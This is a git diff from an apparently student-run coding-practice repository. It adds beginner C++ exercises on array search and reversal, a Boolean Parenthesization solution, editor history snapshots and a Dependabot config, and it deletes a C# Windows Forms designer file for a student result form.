diff --git a/.github/dependabot.yml b/.github/dependabot.yml new file mode 100644 index 00000000000..ac6621f1928 --- /dev/null +++ b/.github/dependabot.yml @@ -0,0 +1,11 @@ +# To get started with Dependabot version updates, you'll need to specify which +# package ecosystems to update and where the package manifests are located. +# Please see the documentation for all configuration options: +# https://docs.github.com/github/administering-a-repository/configuration-options-for-dependency-updates + +version: 2 +updates: + - package-ecosystem: "" # See documentation for possible values + directory: "/" # Location of package manifests + schedule: + interval: "weekly" diff --git a/.github/logo.png b/.github/logo.png index 92c2c64c707..726084deaf2 100644 Binary files a/.github/logo.png and b/.github/logo.png differ diff --git a/Add Code Here/C++/1155 numberof dice roll with targetsum.cpp b/Add Code Here/.history/.cpp_20230929222504 similarity index 100% rename from Add Code Here/C++/1155 numberof dice roll with targetsum.cpp rename to Add Code Here/.history/.cpp_20230929222504 diff --git a/Add Code Here/.history/.cpp_20230929222513 b/Add Code Here/.history/.cpp_20230929222513 new file mode 100644 index 00000000000..1e016d8744c --- /dev/null +++ b/Add Code Here/.history/.cpp_20230929222513 @@ -0,0 +1 @@ +boilerplate \ No newline at end of file diff --git a/Add Code Here/.history/.cpp_20230929222519 b/Add Code Here/.history/.cpp_20230929222519 new file mode 100644 index 00000000000..deff3be4bfe --- /dev/null +++ b/Add Code Here/.history/.cpp_20230929222519 @@ -0,0 +1 @@ +boilerplate doe \ No newline at end of file diff --git a/Add Code Here/.history/.cpp_20230929222521 b/Add Code Here/.history/.cpp_20230929222521 new file mode 100644 index 00000000000..2e3b8df9fe2 --- /dev/null +++ b/Add Code Here/.history/.cpp_20230929222521 @@ -0,0 +1 @@ +boilerplate c \ No newline at end of file diff --git a/Add Code Here/.history/.cpp_20230929222523 b/Add Code Here/.history/.cpp_20230929222523 new file mode 100644 index 00000000000..ce08ecff5fd --- /dev/null +++ b/Add Code Here/.history/.cpp_20230929222523 @@ -0,0 +1,12 @@ +#include +using namespace std; +int main() +{ + int t; + cin>>t; + while (t--) + { + int a,b,c,i,sum1,sum2; + cin>>a>>b>>c; + } +} \ No newline at end of file diff --git a/Add Code Here/.history/.cpp_20230929222529 b/Add Code Here/.history/.cpp_20230929222529 new file mode 100644 index 00000000000..6be10560bf4 --- /dev/null +++ b/Add Code Here/.history/.cpp_20230929222529 @@ -0,0 +1,13 @@ +#include +using namespace std; +int main() +{ + int t; + cin>>t; + while (t--) + { + int a,b,c,i,sum1,sum2; + cin>>a>>b>>c; + cout + } +} \ No newline at end of file diff --git a/Add Code Here/.history/.cpp_20230929222532 b/Add Code Here/.history/.cpp_20230929222532 new file mode 100644 index 00000000000..c317db4f5a2 --- /dev/null +++ b/Add Code Here/.history/.cpp_20230929222532 @@ -0,0 +1,13 @@ +#include +using namespace std; +int main() +{ + int t; + cin>>t; + while (t--) + { + int a,b,c,i,sum1,sum2; + cin>>a>>b>>c; + cout< +using namespace std; +int main() +{ + int t; + cin>>t; + while (t--) + { + int a,b,c,i,sum1,sum2; + cin>>a>>b>>c; + cout< +using namespace std; + +int linearFunction(int linearArray[], int n, int key) +{ + for (int i = 0; i < n; i++) + { + if (linearArray[i] == key) + { + cout << "The index of that element is " << endl; + return i; + } + } + return -1; +} + +int main() +{ + int n; + cout << "Enter the total elements " << endl; + cin >> n; + + cout << "Put element in the array " << endl; + int linearArray[100]; + for (int i = 0; i < n; i++) + { + cin >> linearArray[i]; + } + + int key; + cout << "Enter the key element " << endl; + cin >> key; + cout << linearFunction(linearArray, n, key) << endl; + // linearFunction(linearArray, n, key); +} \ No newline at end of file diff --git a/Add Code Here/0.9_Reverse_arry.cpp b/Add Code Here/0.9_Reverse_arry.cpp new file mode 100644 index 00000000000..7d592f11955 --- /dev/null +++ b/Add Code Here/0.9_Reverse_arry.cpp @@ -0,0 +1,41 @@ +#include +using namespace std; + +void reverse(int arr[], int n) +{ + int start = 0; + int end = n - 1; + cout << "Your reverse list of array is " << endl; + while (start <= end) + { + swap(arr[start], arr[end]); + start++; + end--; + } +} + +void print(int arr[], int n) +{ + + for (int i = 0; i < n; i++) + { + cout << arr[i] << endl; + } +} + +int main() +{ + + int n; + cout << "Enter the number " << endl; + cin >> n; + + int arr[20]; + for (int i = 0; i < n; i++) + { + cin >> arr[i]; + } + + reverse(arr, n); + print(arr, n); +} \ No newline at end of file diff --git a/Add Code Here/Array_Function_Practice.cpp b/Add Code Here/Array_Function_Practice.cpp new file mode 100644 index 00000000000..d410f2289c6 --- /dev/null +++ b/Add Code Here/Array_Function_Practice.cpp @@ -0,0 +1,37 @@ +#include +using namespace std; + +void printArray(int array[], int size){ + for (int i = 0; i < size; i++) + { + cout << array[i] << endl; + } + +} +int main(){ + int firstArr[10] = {0}; + printArray(firstArr, 5); + + cout << "First array done " << endl; + + int secArray[4] = {1,2}; + printArray(secArray, 4); + + cout << "Second array done " << endl; + + int thirdArray[4]; + printArray(thirdArray, 4); + + + int forArray[4] = {1,2,3,4,5}; + printArray(forArray, 2); + cout << "forth array done " << endl; + + // int n; + // cin >> n; + // for (int i = 0; i < n; i++) + // { + // cout << arr[i] << endl; + // } + +} \ No newline at end of file diff --git a/Add Code Here/Boolean-Parenthesization-pralinkhaira.cpp b/Add Code Here/Boolean-Parenthesization-pralinkhaira.cpp new file mode 100644 index 00000000000..796e52182fa --- /dev/null +++ b/Add Code Here/Boolean-Parenthesization-pralinkhaira.cpp @@ -0,0 +1,58 @@ +/* Given a boolean expression S of length N with following symbols. +Symbols +'T' ---> true +'F' ---> false +and following operators filled between symbols +Operators & ---> boolean AND +| ---> boolean OR +^ ---> boolean XOR +Count the number of ways we can parenthesize the expression so that the value of expression evaluates to true. +Note: The answer can be large, so return it with modulo 1003 */ + + + + + + +// User function Template for C++ + +class Solution{ +public: + unordered_map map; + + int solve(string &s, int i, int j, bool isTrue){ + if(i>j) return 0; + if(i==j){ + if(isTrue==true) return s[i]=='T'; + else return s[i]=='F'; + } + + string temp = to_string(i)+' '+to_string(j)+' '+to_string(isTrue); + if(map.find(temp)!=map.end()) return map[temp]; + + int ans = 0; + for(int k=i;k<=j-2;k+=2){ + int lt = solve(s, i, k, true); + int lf = solve(s, i, k, false); + int rt = solve(s, k+2, j, true); + int rf = solve(s, k+2, j, false); + + if(s[k+1]=='&'){ + if(isTrue) ans += lt * rt; + else ans += lt * rf + lf * rt + lf * rf; + } + else if(s[k+1]=='|'){ + if(isTrue) ans += lt * rt + lf * rt + lt *rf; + else ans += lf * rf; + } + else if(s[k+1]=='^'){ + if(isTrue) ans += lf * rt + lt *rf; + else ans += lf * rf + lt * rt; + } + } + return map[temp] = ans%1003; + } + + int countWays(int n, string &s){ + map.clear(); + return solve(s, 0, n-1, true); \ No newline at end of file diff --git a/Add Code Here/C#/CMS/.vs/CMS/v16/.suo b/Add Code Here/C#/CMS/.vs/CMS/v16/.suo deleted file mode 100644 index 8aac35100db..00000000000 Binary files a/Add Code Here/C#/CMS/.vs/CMS/v16/.suo and /dev/null differ diff --git a/Add Code Here/C#/CMS/AddResultForm.Designer.cs b/Add Code Here/C#/CMS/AddResultForm.Designer.cs deleted file mode 100644 index 54babd1cb02..00000000000 --- a/Add Code Here/C#/CMS/AddResultForm.Designer.cs +++ /dev/null @@ -1,469 +0,0 @@ - -namespace CMS -{ - partial class AddResultForm - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.tableLayoutPanel1 = new System.Windows.Forms.TableLayoutPanel(); - this.pictureBox1 = new System.Windows.Forms.PictureBox(); - this.tableLayoutPanel2 = new System.Windows.Forms.TableLayoutPanel(); - this.label1 = new System.Windows.Forms.Label(); - this.tableLayoutPanel3 = new System.Windows.Forms.TableLayoutPanel(); - this.tableLayoutPanel4 = new System.Windows.Forms.TableLayoutPanel(); - this.label2 = new System.Windows.Forms.Label(); - this.NameBox = new System.Windows.Forms.TextBox(); - this.tableLayoutPanel5 = new System.Windows.Forms.TableLayoutPanel(); - this.RollNumberBox = new System.Windows.Forms.TextBox(); - this.label3 = new System.Windows.Forms.Label(); - this.button1 = new System.Windows.Forms.Button(); - this.tableLayoutPanel6 = new System.Windows.Forms.TableLayoutPanel(); - this.label8 = new System.Windows.Forms.Label(); - this.label7 = new System.Windows.Forms.Label(); - this.label6 = new System.Windows.Forms.Label(); - this.label5 = new System.Windows.Forms.Label(); - this.urduBox = new System.Windows.Forms.TextBox(); - this.englishBox = new System.Windows.Forms.TextBox(); - this.mathBox = new System.Windows.Forms.TextBox(); - this.computerBox = new System.Windows.Forms.TextBox(); - this.physicsBox = new System.Windows.Forms.TextBox(); - this.addLabel = new System.Windows.Forms.Label(); - this.label4 = new System.Windows.Forms.Label(); - this.label9 = new System.Windows.Forms.Label(); - this.tableLayoutPanel1.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); - this.tableLayoutPanel2.SuspendLayout(); - this.tableLayoutPanel3.SuspendLayout(); - this.tableLayoutPanel4.SuspendLayout(); - this.tableLayoutPanel5.SuspendLayout(); - this.tableLayoutPanel6.SuspendLayout(); - this.SuspendLayout(); - // - // tableLayoutPanel1 - // - this.tableLayoutPanel1.ColumnCount = 2; - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 20.875F)); - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 79.125F)); - this.tableLayoutPanel1.Controls.Add(this.pictureBox1, 0, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel2, 1, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel3, 0, 1); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel6, 1, 1); - this.tableLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel1.Location = new System.Drawing.Point(0, 0); - this.tableLayoutPanel1.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); - this.tableLayoutPanel1.Name = "tableLayoutPanel1"; - this.tableLayoutPanel1.RowCount = 2; - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 19.11111F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 80.88889F)); - this.tableLayoutPanel1.Size = new System.Drawing.Size(1200, 692); - this.tableLayoutPanel1.TabIndex = 0; - // - // pictureBox1 - // - this.pictureBox1.BackgroundImage = global::CMS.Properties.Resources.png_transparent_computer_icons_result_text_logo_sign_thumbnail; - this.pictureBox1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; - this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill; - this.pictureBox1.Location = new System.Drawing.Point(4, 5); - this.pictureBox1.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); - this.pictureBox1.Name = "pictureBox1"; - this.pictureBox1.Size = new System.Drawing.Size(242, 122); - this.pictureBox1.TabIndex = 0; - this.pictureBox1.TabStop = false; - // - // tableLayoutPanel2 - // - this.tableLayoutPanel2.BackColor = System.Drawing.Color.Red; - this.tableLayoutPanel2.ColumnCount = 1; - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Controls.Add(this.label1, 0, 0); - this.tableLayoutPanel2.Dock = System.Windows.Forms.DockStyle.Top; - this.tableLayoutPanel2.Location = new System.Drawing.Point(254, 5); - this.tableLayoutPanel2.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); - this.tableLayoutPanel2.Name = "tableLayoutPanel2"; - this.tableLayoutPanel2.RowCount = 1; - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Size = new System.Drawing.Size(942, 122); - this.tableLayoutPanel2.TabIndex = 1; - // - // label1 - // - this.label1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label1.AutoSize = true; - this.label1.BackColor = System.Drawing.Color.Black; - this.label1.Font = new System.Drawing.Font("Book Antiqua", 16F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label1.ForeColor = System.Drawing.Color.White; - this.label1.Location = new System.Drawing.Point(292, 41); - this.label1.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(358, 39); - this.label1.TabIndex = 0; - this.label1.Text = "Add Result Of Student"; - // - // tableLayoutPanel3 - // - this.tableLayoutPanel3.BackColor = System.Drawing.Color.SkyBlue; - this.tableLayoutPanel3.ColumnCount = 1; - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Controls.Add(this.tableLayoutPanel4, 0, 0); - this.tableLayoutPanel3.Controls.Add(this.tableLayoutPanel5, 0, 1); - this.tableLayoutPanel3.Controls.Add(this.button1, 0, 2); - this.tableLayoutPanel3.Dock = System.Windows.Forms.DockStyle.Left; - this.tableLayoutPanel3.Location = new System.Drawing.Point(4, 137); - this.tableLayoutPanel3.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); - this.tableLayoutPanel3.Name = "tableLayoutPanel3"; - this.tableLayoutPanel3.RowCount = 3; - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 37.28814F)); - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 62.71186F)); - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 188F)); - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 31F)); - this.tableLayoutPanel3.Size = new System.Drawing.Size(242, 550); - this.tableLayoutPanel3.TabIndex = 2; - // - // tableLayoutPanel4 - // - this.tableLayoutPanel4.BackColor = System.Drawing.Color.White; - this.tableLayoutPanel4.ColumnCount = 1; - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.Controls.Add(this.label2, 0, 0); - this.tableLayoutPanel4.Controls.Add(this.NameBox, 0, 1); - this.tableLayoutPanel4.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel4.Location = new System.Drawing.Point(4, 5); - this.tableLayoutPanel4.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); - this.tableLayoutPanel4.Name = "tableLayoutPanel4"; - this.tableLayoutPanel4.RowCount = 2; - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 41.17647F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 58.82353F)); - this.tableLayoutPanel4.Size = new System.Drawing.Size(234, 124); - this.tableLayoutPanel4.TabIndex = 0; - // - // label2 - // - this.label2.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label2.AutoSize = true; - this.label2.BackColor = System.Drawing.Color.Black; - this.label2.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label2.ForeColor = System.Drawing.Color.White; - this.label2.Location = new System.Drawing.Point(84, 13); - this.label2.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(65, 24); - this.label2.TabIndex = 0; - this.label2.Text = "Name"; - // - // NameBox - // - this.NameBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.NameBox.Font = new System.Drawing.Font("Book Antiqua", 8F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.NameBox.Location = new System.Drawing.Point(6, 74); - this.NameBox.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); - this.NameBox.Name = "NameBox"; - this.NameBox.Size = new System.Drawing.Size(222, 27); - this.NameBox.TabIndex = 3; - // - // tableLayoutPanel5 - // - this.tableLayoutPanel5.BackColor = System.Drawing.Color.White; - this.tableLayoutPanel5.ColumnCount = 1; - this.tableLayoutPanel5.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel5.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel5.Controls.Add(this.RollNumberBox, 0, 1); - this.tableLayoutPanel5.Controls.Add(this.label3, 0, 0); - this.tableLayoutPanel5.Location = new System.Drawing.Point(4, 139); - this.tableLayoutPanel5.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); - this.tableLayoutPanel5.Name = "tableLayoutPanel5"; - this.tableLayoutPanel5.RowCount = 2; - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 31F)); - this.tableLayoutPanel5.Size = new System.Drawing.Size(232, 154); - this.tableLayoutPanel5.TabIndex = 1; - // - // RollNumberBox - // - this.RollNumberBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.RollNumberBox.Font = new System.Drawing.Font("Book Antiqua", 8F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.RollNumberBox.Location = new System.Drawing.Point(5, 102); - this.RollNumberBox.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); - this.RollNumberBox.Name = "RollNumberBox"; - this.RollNumberBox.Size = new System.Drawing.Size(222, 27); - this.RollNumberBox.TabIndex = 4; - // - // label3 - // - this.label3.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label3.AutoSize = true; - this.label3.BackColor = System.Drawing.Color.Black; - this.label3.Font = new System.Drawing.Font("Book Antiqua", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label3.ForeColor = System.Drawing.Color.White; - this.label3.Location = new System.Drawing.Point(60, 27); - this.label3.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); - this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(112, 22); - this.label3.TabIndex = 5; - this.label3.Text = "Roll Number"; - // - // button1 - // - this.button1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.button1.BackColor = System.Drawing.Color.Green; - this.button1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.None; - this.button1.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.button1.ForeColor = System.Drawing.Color.White; - this.button1.Location = new System.Drawing.Point(37, 400); - this.button1.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); - this.button1.Name = "button1"; - this.button1.Size = new System.Drawing.Size(168, 111); - this.button1.TabIndex = 2; - this.button1.Text = "Back To Menu"; - this.button1.UseVisualStyleBackColor = false; - this.button1.Click += new System.EventHandler(this.button1_Click); - // - // tableLayoutPanel6 - // - this.tableLayoutPanel6.ColumnCount = 2; - this.tableLayoutPanel6.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 38.59649F)); - this.tableLayoutPanel6.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 61.40351F)); - this.tableLayoutPanel6.Controls.Add(this.label8, 0, 4); - this.tableLayoutPanel6.Controls.Add(this.label7, 0, 3); - this.tableLayoutPanel6.Controls.Add(this.label6, 0, 2); - this.tableLayoutPanel6.Controls.Add(this.label5, 0, 1); - this.tableLayoutPanel6.Controls.Add(this.urduBox, 1, 0); - this.tableLayoutPanel6.Controls.Add(this.englishBox, 1, 1); - this.tableLayoutPanel6.Controls.Add(this.mathBox, 1, 2); - this.tableLayoutPanel6.Controls.Add(this.computerBox, 1, 3); - this.tableLayoutPanel6.Controls.Add(this.physicsBox, 1, 4); - this.tableLayoutPanel6.Controls.Add(this.addLabel, 1, 5); - this.tableLayoutPanel6.Controls.Add(this.label4, 0, 0); - this.tableLayoutPanel6.Controls.Add(this.label9, 0, 5); - this.tableLayoutPanel6.Location = new System.Drawing.Point(254, 137); - this.tableLayoutPanel6.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); - this.tableLayoutPanel6.Name = "tableLayoutPanel6"; - this.tableLayoutPanel6.RowCount = 6; - this.tableLayoutPanel6.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 46.4F)); - this.tableLayoutPanel6.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 53.6F)); - this.tableLayoutPanel6.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 91F)); - this.tableLayoutPanel6.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 83F)); - this.tableLayoutPanel6.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 89F)); - this.tableLayoutPanel6.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 120F)); - this.tableLayoutPanel6.Size = new System.Drawing.Size(940, 550); - this.tableLayoutPanel6.TabIndex = 3; - this.tableLayoutPanel6.Paint += new System.Windows.Forms.PaintEventHandler(this.tableLayoutPanel6_Paint); - // - // label8 - // - this.label8.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label8.AutoSize = true; - this.label8.Font = new System.Drawing.Font("Bookman Old Style", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label8.Location = new System.Drawing.Point(137, 372); - this.label8.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); - this.label8.Name = "label8"; - this.label8.Size = new System.Drawing.Size(88, 24); - this.label8.TabIndex = 10; - this.label8.Text = "Physics"; - // - // label7 - // - this.label7.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label7.AutoSize = true; - this.label7.Font = new System.Drawing.Font("Bookman Old Style", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label7.Location = new System.Drawing.Point(125, 286); - this.label7.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); - this.label7.Name = "label7"; - this.label7.Size = new System.Drawing.Size(111, 24); - this.label7.TabIndex = 9; - this.label7.Text = "Computer"; - // - // label6 - // - this.label6.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label6.AutoSize = true; - this.label6.Font = new System.Drawing.Font("Bookman Old Style", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label6.Location = new System.Drawing.Point(149, 199); - this.label6.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); - this.label6.Name = "label6"; - this.label6.Size = new System.Drawing.Size(63, 24); - this.label6.TabIndex = 8; - this.label6.Text = "Math"; - // - // label5 - // - this.label5.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label5.AutoSize = true; - this.label5.Font = new System.Drawing.Font("Bookman Old Style", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label5.Location = new System.Drawing.Point(136, 109); - this.label5.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); - this.label5.Name = "label5"; - this.label5.Size = new System.Drawing.Size(89, 24); - this.label5.TabIndex = 7; - this.label5.Text = "English"; - // - // urduBox - // - this.urduBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.urduBox.Font = new System.Drawing.Font("Bookman Old Style", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.urduBox.Location = new System.Drawing.Point(476, 25); - this.urduBox.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); - this.urduBox.Name = "urduBox"; - this.urduBox.Size = new System.Drawing.Size(349, 27); - this.urduBox.TabIndex = 0; - // - // englishBox - // - this.englishBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.englishBox.Font = new System.Drawing.Font("Bookman Old Style", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.englishBox.Location = new System.Drawing.Point(476, 108); - this.englishBox.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); - this.englishBox.Name = "englishBox"; - this.englishBox.Size = new System.Drawing.Size(349, 27); - this.englishBox.TabIndex = 1; - // - // mathBox - // - this.mathBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.mathBox.Font = new System.Drawing.Font("Bookman Old Style", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.mathBox.Location = new System.Drawing.Point(476, 198); - this.mathBox.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); - this.mathBox.Name = "mathBox"; - this.mathBox.Size = new System.Drawing.Size(349, 27); - this.mathBox.TabIndex = 2; - // - // computerBox - // - this.computerBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.computerBox.Font = new System.Drawing.Font("Bookman Old Style", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.computerBox.Location = new System.Drawing.Point(476, 285); - this.computerBox.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); - this.computerBox.Name = "computerBox"; - this.computerBox.Size = new System.Drawing.Size(349, 27); - this.computerBox.TabIndex = 3; - // - // physicsBox - // - this.physicsBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.physicsBox.Font = new System.Drawing.Font("Bookman Old Style", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.physicsBox.Location = new System.Drawing.Point(476, 371); - this.physicsBox.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); - this.physicsBox.Name = "physicsBox"; - this.physicsBox.Size = new System.Drawing.Size(349, 27); - this.physicsBox.TabIndex = 4; - // - // addLabel - // - this.addLabel.Anchor = System.Windows.Forms.AnchorStyles.None; - this.addLabel.AutoSize = true; - this.addLabel.Font = new System.Drawing.Font("Bookman Old Style", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.addLabel.ForeColor = System.Drawing.Color.Green; - this.addLabel.Location = new System.Drawing.Point(590, 477); - this.addLabel.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); - this.addLabel.Name = "addLabel"; - this.addLabel.Size = new System.Drawing.Size(121, 24); - this.addLabel.TabIndex = 5; - this.addLabel.Text = "Add Result"; - // - // label4 - // - this.label4.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label4.AutoSize = true; - this.label4.Font = new System.Drawing.Font("Bookman Old Style", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label4.Location = new System.Drawing.Point(151, 26); - this.label4.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); - this.label4.Name = "label4"; - this.label4.Size = new System.Drawing.Size(59, 24); - this.label4.TabIndex = 6; - this.label4.Text = "Urdu"; - // - // label9 - // - this.label9.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label9.AutoSize = true; - this.label9.Font = new System.Drawing.Font("Bookman Old Style", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label9.ForeColor = System.Drawing.Color.Green; - this.label9.Location = new System.Drawing.Point(152, 477); - this.label9.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); - this.label9.Name = "label9"; - this.label9.Size = new System.Drawing.Size(58, 24); - this.label9.TabIndex = 11; - this.label9.Text = "Save"; - this.label9.Click += new System.EventHandler(this.label9_Click); - // - // AddResultForm - // - this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(1200, 692); - this.Controls.Add(this.tableLayoutPanel1); - this.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5); - this.Name = "AddResultForm"; - this.Text = "AddResultForm"; - this.Load += new System.EventHandler(this.AddResultForm_Load); - this.tableLayoutPanel1.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); - this.tableLayoutPanel2.ResumeLayout(false); - this.tableLayoutPanel2.PerformLayout(); - this.tableLayoutPanel3.ResumeLayout(false); - this.tableLayoutPanel4.ResumeLayout(false); - this.tableLayoutPanel4.PerformLayout(); 